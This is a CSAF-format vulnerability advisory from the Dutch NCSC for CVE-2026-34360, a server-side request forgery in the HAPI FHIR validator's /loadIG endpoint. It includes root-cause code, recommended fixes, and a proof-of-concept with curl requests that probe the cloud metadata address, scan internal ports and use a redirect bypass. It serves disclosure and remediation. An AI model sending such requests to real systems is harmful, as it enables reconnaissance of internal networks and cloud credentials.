{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34360",
        "tracking": {
            "current_release_date": "2026-04-03T13:25:39.809688Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34360",
            "initial_release_date": "2026-03-30T17:42:02.947322Z",
            "revision_history": [
                {
                    "date": "2026-03-30T17:42:02.947322Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-30T17:42:13.840021Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-31T17:25:49.669899Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T17:25:51.789729Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T17:38:58.467316Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-31T17:39:01.073960Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T19:55:19.321256Z",
                    "number": "7",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-04-01T14:39:34.853686Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-04-01T15:12:57.360781Z",
                    "number": "9",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-01T15:13:02.154598Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-03T13:25:15.730372Z",
                    "number": "11",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-04-03T13:25:18.793901Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "12"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<6.9.4",
                                "product": {
                                    "name": "vers:unknown/<6.9.4",
                                    "product_id": "CSAFPID-5991910",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:hapifhir:hl7_fhir_core:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "HL7 FHIR Core"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<6.9.4",
                                "product": {
                                    "name": "vers:unknown/<6.9.4",
                                    "product_id": "CSAFPID-5969376"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "org.hl7.fhir.core"
                    }
                ],
                "category": "vendor",
                "name": "HAPI FHIR"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34360",
            "cwe": {
                "id": "CWE-918",
                "name": "Server-Side Request Forgery (SSRF)"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nThe `/loadIG` HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With `explore=true` (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.\n\n## Details\n\n**Root cause chain:**\n\n1. `LoadIGHTTPHandler.handle()` reads the `ig` field from user-supplied JSON and passes it directly to `IgLoader.loadIg()` with no validation:\n\n```java\n// LoadIGHTTPHandler.java:35,43\nString ig = wrapper.asString(\"ig\");\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);\n```\n\n2. `loadIg()` calls `loadIgSource(srcPackage, recursive, true)` with `explore=true` (IgLoader.java:153).\n\n3. `loadIgSource()` checks `Common.isNetworkPath(src)` which only verifies the URL starts with `http:` or `https:` — no host/IP validation (Common.java:14-16).\n\n4. The URL reaches `ManagedWebAccess.get()` which calls `inAllowedPaths()`. This check is a no-op by default because `allowedDomains` is initialized as an empty list, and the code explicitly returns `true` when empty:\n\n```java\n// ManagedWebAccess.java:104-106\nstatic boolean inAllowedPaths(String pathname) {\n    if (allowedDomains.isEmpty()) {\n        return true;  // DEFAULT: all domains allowed\n    }\n    // ...\n}\n```\n\nThe source code has a `//TODO get this from fhir settings` comment (line 82) confirming this is an incomplete security control.\n\n5. `SimpleHTTPClient.get()` makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against `inAllowedPaths()`:\n\n```java\n// SimpleHTTPClient.java:88-99\ncase HttpURLConnection.HTTP_MOVED_PERM,\n     HttpURLConnection.HTTP_MOVED_TEMP,\n     307, 308:\n    String location = connection.getHeaderField(\"Location\");\n    url = new URL(originalUrl, location);  // No domain re-validation\n    continue;\n```\n\n6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):\n\n```java\nserver = HttpServer.create(new InetSocketAddress(port), 0);\n```\n\n7. Errors propagate back to the attacker with exception details:\n\n```java\n// LoadIGHTTPHandler.java:49\nsendOperationOutcome(exchange, 500,\n    OperationOutcomeUtilities.createError(\"Failed to load IG: \" + e.getMessage()), ...);\n```\n\n**Redirect bypass:** Even if `allowedDomains` were configured, the domain check in `ManagedWebAccessor.setupSimpleHTTPClient()` (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.\n\n## PoC\n\n1. Start the FHIR Validator in HTTP server mode:\n```bash\njava -jar validator_cli.jar -server -port 8080\n```\n\n2. Probe a cloud metadata endpoint:\n```bash\ncurl -X POST http://<validator-host>:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"http://169.254.169.254/latest/meta-data/\"}'\n```\n\nExpected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).\n\n3. Port scan an internal host:\n```bash\n# Open port — returns quickly with a parse error (content received but not valid FHIR)\ncurl -X POST http://<validator-host>:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"http://10.0.0.1:8080/\"}'\n\n# Closed port — returns with \"Connection refused\"\ncurl -X POST http://<validator-host>:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"http://10.0.0.1:9999/\"}'\n```\n\n4. Redirect bypass (if allowedDomains were configured):\n```bash\n# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin\ncurl -X POST http://<validator-host>:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"http://allowed-domain.com/redir\"}'\n```\n\nThe validator follows the redirect to the internal target without re-checking the domain allowlist.\n\n## Impact\n\nAn unauthenticated attacker with network access to the FHIR Validator HTTP service can:\n\n- **Probe internal network services** — differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)\n- **Access cloud metadata endpoints** — reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position\n- **Map internal network topology** — systematically enumerate internal hosts and services\n- **Bypass domain restrictions via redirects** — even if allowedDomains is configured, redirect following does not re-validate targets\n- **Amplify reconnaissance** — each `/loadIG` call with `explore=true` generates multiple outbound requests (package.tgz, JSON, XML variants)\n\nThis is a blind SSRF — the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.\n\n## Recommended Fix\n\n1. **Add URL validation** in `LoadIGHTTPHandler` before passing to `loadIg()` — reject private/internal IP ranges and non-standard ports:\n\n```java\n// LoadIGHTTPHandler.java — add before line 43\nif (Common.isNetworkPath(ig)) {\n    URL url = new URL(ig);\n    InetAddress addr = InetAddress.getByName(url.getHost());\n    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||\n        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {\n        sendOperationOutcome(exchange, 400,\n            OperationOutcomeUtilities.createError(\"URL targets a private/internal address\"),\n            getAcceptHeader(exchange));\n        return;\n    }\n}\n```\n\n2. **Re-validate redirect targets** in `SimpleHTTPClient.get()` — check `inAllowedPaths()` for each redirect URL:\n\n```java\n// SimpleHTTPClient.java — inside the redirect case (after line 98)\nurl = new URL(originalUrl, location);\nif (!ManagedWebAccess.inAllowedPaths(url.toString())) {\n    throw new IOException(\"Redirect target '\" + url + \"' is not in allowed domains\");\n}\n```\n\n3. **Configure `allowedDomains` by default** to restrict outbound requests to known FHIR registries (e.g., `packages.fhir.org`, `hl7.org`), or require explicit opt-in for open access.\n\n4. **Add authentication** to the HTTP service, at minimum for state-changing endpoints like `/loadIG`.",
                    "title": "github - https://api.github.com/advisories/GHSA-3ww8-jw56-9f5h"
                },
                {
                    "category": "description",
                    "text": "HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34360"
                },
                {
                    "category": "description",
                    "text": "HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34360.json"
                },
                {
                    "category": "other",
                    "text": "0.00022",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent EPSS score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5969376",
                    "CSAFPID-5991910"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-3ww8-jw56-9f5h"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34360"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34360.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-3ww8-jw56-9f5h"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-3ww8-jw56-9f5h"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34360"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
                        "baseScore": 5.8,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5969376",
                        "CSAFPID-5991910"
                    ]
                }
            ],
            "title": "CVE-2026-34360"
        }
    ]
}